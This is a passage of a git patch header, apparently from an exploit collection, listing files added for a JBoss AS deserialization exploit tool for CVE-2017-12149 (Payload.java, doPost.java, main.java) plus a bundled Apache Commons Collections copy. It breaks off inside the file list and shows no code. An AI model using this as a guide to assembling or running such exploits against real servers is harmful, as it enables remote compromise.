From 0d31d13d0bcb6bd94a7f0f93949f7a3ec280966e Mon Sep 17 00:00:00 2001 From: helloexp <21156949+helloexp@users.noreply.github.com> Date: Tue, 1 Mar 2022 16:11:41 +0800 Subject: [PATCH] =?UTF-8?q?add=20Jboss=20=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96=E6=BA=90=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../src/com/jboss/main/Payload.java" | 190 ++ .../src/com/jboss/main/doPost.java" | 103 + .../src/com/jboss/main/main.java" | 221 ++ .../commons/collections/ArrayStack.java" | 194 ++ .../org/apache/commons/collections/Bag.java" | 221 ++ .../apache/commons/collections/BagUtils.java" | 243 ++ .../apache/commons/collections/BeanMap.java" | 799 +++++++ .../apache/commons/collections/BidiMap.java" | 145 ++ .../commons/collections/BinaryHeap.java" | 564 +++++ .../collections/BoundedCollection.java" | 52 + .../collections/BoundedFifoBuffer.java" | 310 +++ .../commons/collections/BoundedMap.java" | 48 + .../apache/commons/collections/Buffer.java" | 63 + .../collections/BufferOverflowException.java" | 73 + .../BufferUnderflowException.java" | 76 + .../commons/collections/BufferUtils.java" | 146 ++ .../apache/commons/collections/Closure.java" | 46 + .../commons/collections/ClosureUtils.java" | 351 +++ .../commons/collections/CollectionUtils.java" | 1084 +++++++++ .../commons/collections/ComparatorUtils.java" | 240 ++ .../collections/CursorableLinkedList.java" | 1463 ++++++++++++ .../commons/collections/DefaultMapBag.java" | 454 ++++ .../commons/collections/DefaultMapEntry.java" | 162 ++ .../collections/DoubleOrderedMap.java" | 1994 ++++++++++++++++ .../collections/EnumerationUtils.java" | 53 + .../collections/ExtendedProperties.java" | 1632 +++++++++++++ .../apache/commons/collections/Factory.java" | 44 + .../commons/collections/FactoryUtils.java" | 141 ++ .../commons/collections/FastArrayList.java" | 1303 +++++++++++ .../commons/collections/FastHashMap.java" | 714 ++++++ .../commons/collections/FastTreeMap.java" | 823 +++++++ .../collections/FunctorException.java" | 143 ++ .../apache/commons/collections/HashBag.java" | 50 + .../commons/collections/IterableMap.java" | 61 + .../commons/collections/IteratorUtils.java" | 894 +++++++ .../apache/commons/collections/KeyValue.java" | 46 + .../apache/commons/collections/LRUMap.java" | 206 ++ .../commons/collections/ListUtils.java" | 354 +++ .../commons/collections/MapIterator.java" | 108 + .../apache/commons/collections/MapUtils.java" | 1469 ++++++++++++ .../commons/collections/MultiHashMap.java" | 460 ++++ .../apache/commons/collections/MultiMap.java" | 159 ++ .../commons/collections/OrderedBidiMap.java" | 63 + .../commons/collections/OrderedIterator.java" | 47 + .../commons/collections/OrderedMap.java" | 81 + .../collections/OrderedMapIterator.java" | 45 + .../commons/collections/Predicate.java" | 49 + .../commons/collections/PredicateUtils.java" | 535 +++++ .../commons/collections/PriorityQueue.java" | 71 + .../apache/commons/collections/ProxyMap.java" | 162 ++ .../commons/collections/ReferenceMap.java" | 957 ++++++++ .../collections/ResettableIterator.java" | 38 + .../collections/ResettableListIterator.java" | 38 + .../collections/SequencedHashMap.java" | 1017 ++++++++ .../apache/commons/collections/SetUtils.java" | 325 +++ .../commons/collections/SortedBag.java" | 53 + .../commons/collections/SortedBidiMap.java" | 68 + .../commons/collections/StaticBucketMap.java" | 709 ++++++ .../SynchronizedPriorityQueue.java" | 102 + .../commons/collections/Transformer.java" | 50 + .../collections/TransformerUtils.java" | 441 ++++ .../apache/commons/collections/TreeBag.java" | 76 + .../collections/UnboundedFifoBuffer.java" | 277 +++ .../commons/collections/Unmodifiable.java" | 39 + .../bag/AbstractBagDecorator.java" | 80 + .../collections/bag/AbstractMapBag.java" | 591 +++++ .../bag/AbstractSortedBagDecorator.java" | 75 + .../commons/collections/bag/HashBag.java" | 83 + .../collections/bag/PredicatedBag.java" | 108 + .../collections/bag/PredicatedSortedBag.java" | 102 + .../collections/bag/SynchronizedBag.java" | 127 + .../bag/SynchronizedSortedBag.java" | 104 + .../collections/bag/TransformedBag.java" | 105 + .../bag/TransformedSortedBag.java" | 96 + .../commons/collections/bag/TreeBag.java" | 114 + .../commons/collections/bag/TypedBag.java" | 60 + .../collections/bag/TypedSortedBag.java" | 60 + .../collections/bag/UnmodifiableBag.java" | 141 ++ .../bag/UnmodifiableSortedBag.java" | 141 ++ .../commons/collections/bag/package.html" | 39 + .../bidimap/AbstractBidiMapDecorator.java" | 78 + .../bidimap/AbstractDualBidiMap.java" | 725 ++++++ .../AbstractOrderedBidiMapDecorator.java" | 85 + .../AbstractSortedBidiMapDecorator.java" | 83 + .../collections/bidimap/DualHashBidiMap.java" | 106 + .../collections/bidimap/DualTreeBidiMap.java" | 348 +++ .../collections/bidimap/TreeBidiMap.java" | 2084 +++++++++++++++++ .../bidimap/UnmodifiableBidiMap.java" | 121 + .../bidimap/UnmodifiableOrderedBidiMap.java" | 132 ++ .../bidimap/UnmodifiableSortedBidiMap.java" | 155 ++ .../commons/collections/bidimap/package.html" | 47 + .../buffer/AbstractBufferDecorator.java" | 69 + .../collections/buffer/BlockingBuffer.java" | 116 + .../buffer/BoundedFifoBuffer.java" | 362 +++ .../buffer/CircularFifoBuffer.java" | 95 + .../collections/buffer/PredicatedBuffer.java" | 96 + .../collections/buffer/PriorityBuffer.java" | 537 +++++ .../buffer/SynchronizedBuffer.java" | 94 + .../buffer/TransformedBuffer.java" | 90 + .../collections/buffer/TypedBuffer.java" | 60 + .../buffer/UnboundedFifoBuffer.java" | 326 +++ .../buffer/UnmodifiableBuffer.java" | 131 ++ .../commons/collections/buffer/package.html" | 40 + .../AbstractCollectionDecorator.java" | 145 ++ ...tractSerializableCollectionDecorator.java" | 68 + .../collection/CompositeCollection.java" | 442 ++++ .../collection/PredicatedCollection.java" | 134 ++ .../collection/SynchronizedCollection.java" | 200 ++ .../collection/TransformedCollection.java" | 121 + .../collection/TypedCollection.java" | 60 + .../UnmodifiableBoundedCollection.java" | 141 ++ .../collection/UnmodifiableCollection.java" | 97 + .../collections/collection/package.html" | 35 + .../comparators/BooleanComparator.java" | 205 ++ .../comparators/ComparableComparator.java" | 126 + .../comparators/ComparatorChain.java" | 346 +++ .../comparators/FixedOrderComparator.java" | 265 +++ .../comparators/NullComparator.java" | 175 ++ .../comparators/ReverseComparator.java" | 124 + .../comparators/TransformingComparator.java" | 77 + .../collections/comparators/package.html" | 26 + .../collections/functors/AllPredicate.java" | 104 + .../collections/functors/AndPredicate.java" | 88 + .../collections/functors/AnyPredicate.java" | 104 + .../collections/functors/ChainedClosure.java" | 131 ++ .../functors/ChainedTransformer.java" | 136 ++ .../functors/CloneTransformer.java" | 70 + .../functors/ClosureTransformer.java" | 86 + .../functors/ConstantFactory.java" | 88 + .../functors/ConstantTransformer.java" | 89 + .../collections/functors/EqualPredicate.java" | 84 + .../functors/ExceptionClosure.java" | 67 + .../functors/ExceptionFactory.java" | 67 + .../functors/ExceptionPredicate.java" | 67 + .../functors/ExceptionTransformer.java" | 68 + .../functors/FactoryTransformer.java" | 85 + .../collections/functors/FalsePredicate.java" | 65 + .../collections/functors/ForClosure.java" | 104 + .../collections/functors/FunctorUtils.java" | 177 ++ .../functors/IdentityPredicate.java" | 86 + .../collections/functors/IfClosure.java" | 121 + .../functors/InstanceofPredicate.java" | 84 + .../functors/InstantiateFactory.java" | 139 ++ .../functors/InstantiateTransformer.java" | 118 + .../functors/InvokerTransformer.java" | 136 ++ .../collections/functors/MapTransformer.java" | 86 + .../collections/functors/NOPClosure.java" | 64 + .../collections/functors/NOPTransformer.java" | 65 + .../collections/functors/NonePredicate.java" | 104 + .../functors/NotNullPredicate.java" | 65 + .../collections/functors/NotPredicate.java" | 83 + .../functors/NullIsExceptionPredicate.java" | 89 + .../functors/NullIsFalsePredicate.java" | 87 + .../functors/NullIsTruePredicate.java" | 87 + .../collections/functors/NullPredicate.java" | 65 + .../collections/functors/OnePredicate.java" | 109 + .../collections/functors/OrPredicate.java" | 88 + .../functors/PredicateDecorator.java" | 42 + .../functors/PredicateTransformer.java" | 85 + .../functors/PrototypeFactory.java" | 208 ++ .../functors/StringValueTransformer.java" | 65 + .../collections/functors/SwitchClosure.java" | 174 ++ .../functors/SwitchTransformer.java" | 175 ++ .../functors/TransformedPredicate.java" | 103 + .../functors/TransformerClosure.java" | 85 + .../functors/TransformerPredicate.java" | 92 + .../collections/functors/TruePredicate.java" | 65 + .../functors/UniquePredicate.java" | 70 + .../collections/functors/WhileClosure.java" | 122 + .../collections/functors/package.html" | 26 + .../iterators/AbstractEmptyIterator.java" | 89 + .../iterators/AbstractIteratorDecorator.java" | 73 + .../AbstractListIteratorDecorator.java" | 97 + .../AbstractMapIteratorDecorator.java" | 84 + .../AbstractOrderedMapIteratorDecorator.java" | 92 + .../collections/iterators/ArrayIterator.java" | 222 ++ .../iterators/ArrayListIterator.java" | 213 ++ .../iterators/CollatingIterator.java" | 370 +++ .../collections/iterators/EmptyIterator.java" | 54 + .../iterators/EmptyListIterator.java" | 54 + .../iterators/EmptyMapIterator.java" | 44 + .../iterators/EmptyOrderedIterator.java" | 44 + .../iterators/EmptyOrderedMapIterator.java" | 44 + .../iterators/EntrySetMapIterator.java" | 170 ++ .../iterators/EnumerationIterator.java" | 140 ++ .../iterators/FilterIterator.java" | 184 ++ .../iterators/FilterListIterator.java" | 284 +++ .../collections/iterators/IteratorChain.java" | 288 +++ .../iterators/IteratorEnumeration.java" | 99 + .../iterators/ListIteratorWrapper.java" | 179 ++ .../iterators/LoopingIterator.java" | 126 + .../iterators/ObjectArrayIterator.java" | 215 ++ .../iterators/ObjectArrayListIterator.java" | 205 ++ .../iterators/ObjectGraphIterator.java" | 253 ++ .../collections/iterators/ProxyIterator.java" | 101 + .../iterators/ProxyListIterator.java" | 162 ++ .../iterators/SingletonIterator.java" | 128 + .../iterators/SingletonListIterator.java" | 175 ++ .../iterators/TransformIterator.java" | 148 ++ .../iterators/UniqueFilterIterator.java" | 45 + .../iterators/UnmodifiableIterator.java" | 78 + .../iterators/UnmodifiableListIterator.java" | 100 + .../iterators/UnmodifiableMapIterator.java" | 87 + .../UnmodifiableOrderedMapIterator.java" | 95 + .../collections/iterators/package.html" | 26 + .../keyvalue/AbstractKeyValue.java" | 81 + .../keyvalue/AbstractMapEntry.java" | 92 + .../keyvalue/AbstractMapEntryDecorator.java" | 86 + .../keyvalue/DefaultKeyValue.java" | 157 ++ .../keyvalue/DefaultMapEntry.java" | 66 + .../collections/keyvalue/MultiKey.java" | 257 ++ .../collections/keyvalue/TiedMapEntry.java" | 134 ++ .../keyvalue/UnmodifiableMapEntry.java" | 75 + .../collections/keyvalue/package.html" | 29 + .../collections/list/AbstractLinkedList.java" | 1004 ++++++++ .../list/AbstractListDecorator.java" | 104 + .../AbstractSerializableListDecorator.java" | 69 + .../list/CursorableLinkedList.java" | 497 ++++ .../collections/list/FixedSizeList.java" | 162 ++ .../commons/collections/list/LazyList.java" | 136 ++ .../list/NodeCachingLinkedList.java" | 246 ++ .../collections/list/PredicatedList.java" | 159 ++ .../collections/list/SetUniqueList.java" | 336 +++ .../collections/list/SynchronizedList.java" | 163 ++ .../collections/list/TransformedList.java" | 150 ++ .../commons/collections/list/TreeList.java" | 885 +++++++ .../commons/collections/list/TypedList.java" | 59 + .../collections/list/UnmodifiableList.java" | 127 + .../commons/collections/list/package.html" | 41 + .../collections/map/AbstractHashedMap.java" | 1327 +++++++++++ .../AbstractInputCheckedMapDecorator.java" | 196 ++ .../collections/map/AbstractLinkedMap.java" | 608 +++++ .../map/AbstractMapDecorator.java" | 140 ++ .../map/AbstractOrderedMapDecorator.java" | 94 + .../map/AbstractReferenceMap.java" | 980 ++++++++ .../map/AbstractSortedMapDecorator.java" | 93 + .../collections/map/CaseInsensitiveMap.java" | 146 ++ .../collections/map/CompositeMap.java" | 531 +++++ .../collections/map/FixedSizeMap.java" | 155 ++ .../collections/map/FixedSizeSortedMap.java" | 171 ++ .../commons/collections/map/Flat3Map.java" | 1123 +++++++++ .../commons/collections/map/HashedMap.java" | 109 + .../commons/collections/map/IdentityMap.java" | 188 ++ .../commons/collections/map/LRUMap.java" | 391 ++++ .../commons/collections/map/LazyMap.java" | 160 ++ .../collections/map/LazySortedMap.java" | 144 ++ .../commons/collections/map/LinkedMap.java" | 281 +++ .../collections/map/ListOrderedMap.java" | 585 +++++ .../commons/collections/map/MultiKeyMap.java" | 909 +++++++ .../collections/map/PredicatedMap.java" | 180 ++ .../collections/map/PredicatedSortedMap.java" | 115 + .../map/ReferenceIdentityMap.java" | 212 ++ .../collections/map/ReferenceMap.java" | 162 ++ .../collections/map/SingletonMap.java" | 592 +++++ .../collections/map/StaticBucketMap.java" | 699 ++++++ .../collections/map/TransformedMap.java" | 194 ++ .../map/TransformedSortedMap.java" | 114 + .../commons/collections/map/TypedMap.java" | 66 + .../collections/map/TypedSortedMap.java" | 66 + .../map/UnmodifiableEntrySet.java" | 162 ++ .../collections/map/UnmodifiableMap.java" | 143 ++ .../map/UnmodifiableOrderedMap.java" | 144 ++ .../map/UnmodifiableSortedMap.java" | 159 ++ .../commons/collections/map/package.html" | 54 + .../apache/commons/collections/overview.html" | 112 + .../apache/commons/collections/package.html" | 31 + .../AbstractSerializableSetDecorator.java" | 69 + .../set/AbstractSetDecorator.java" | 61 + .../set/AbstractSortedSetDecorator.java" | 86 + .../collections/set/CompositeSet.java" | 197 ++ .../collections/set/ListOrderedSet.java" | 307 +++ .../collections/set/MapBackedSet.java" | 157 ++ .../collections/set/PredicatedSet.java" | 87 + .../collections/set/PredicatedSortedSet.java" | 115 + .../collections/set/SynchronizedSet.java" | 81 + .../set/SynchronizedSortedSet.java" | 128 + .../collections/set/TransformedSet.java" | 72 + .../set/TransformedSortedSet.java" | 110 + .../commons/collections/set/TypedSet.java" | 59 + .../collections/set/TypedSortedSet.java" | 59 + .../collections/set/UnmodifiableSet.java" | 95 + .../set/UnmodifiableSortedSet.java" | 139 ++ .../commons/collections/set/package.html" | 42 + 283 files changed, 61889 insertions(+) create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/Payload.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/doPost.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/main.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ArrayStack.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Bag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BagUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BeanMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BinaryHeap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedCollection.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedFifoBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Buffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferOverflowException.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUnderflowException.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Closure.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ClosureUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CollectionUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ComparatorUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CursorableLinkedList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DefaultMapBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DefaultMapEntry.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DoubleOrderedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/EnumerationUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ExtendedProperties.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Factory.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FactoryUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastArrayList.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastHashMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastTreeMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FunctorException.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/HashBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IterableMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IteratorUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/KeyValue.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/LRUMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ListUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiHashMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedBidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMapIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Predicate.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PredicateUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PriorityQueue.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ProxyMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ReferenceMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableListIterator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SequencedHashMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SetUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBidiMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/StaticBucketMap.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SynchronizedPriorityQueue.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Transformer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TransformerUtils.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TreeBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/UnboundedFifoBuffer.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Unmodifiable.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractBagDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractMapBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractSortedBagDecorator.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/HashBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedSortedBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedSortedBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedSortedBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TreeBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedSortedBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableBag.java" create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableSortedBag.java" create mode 100644 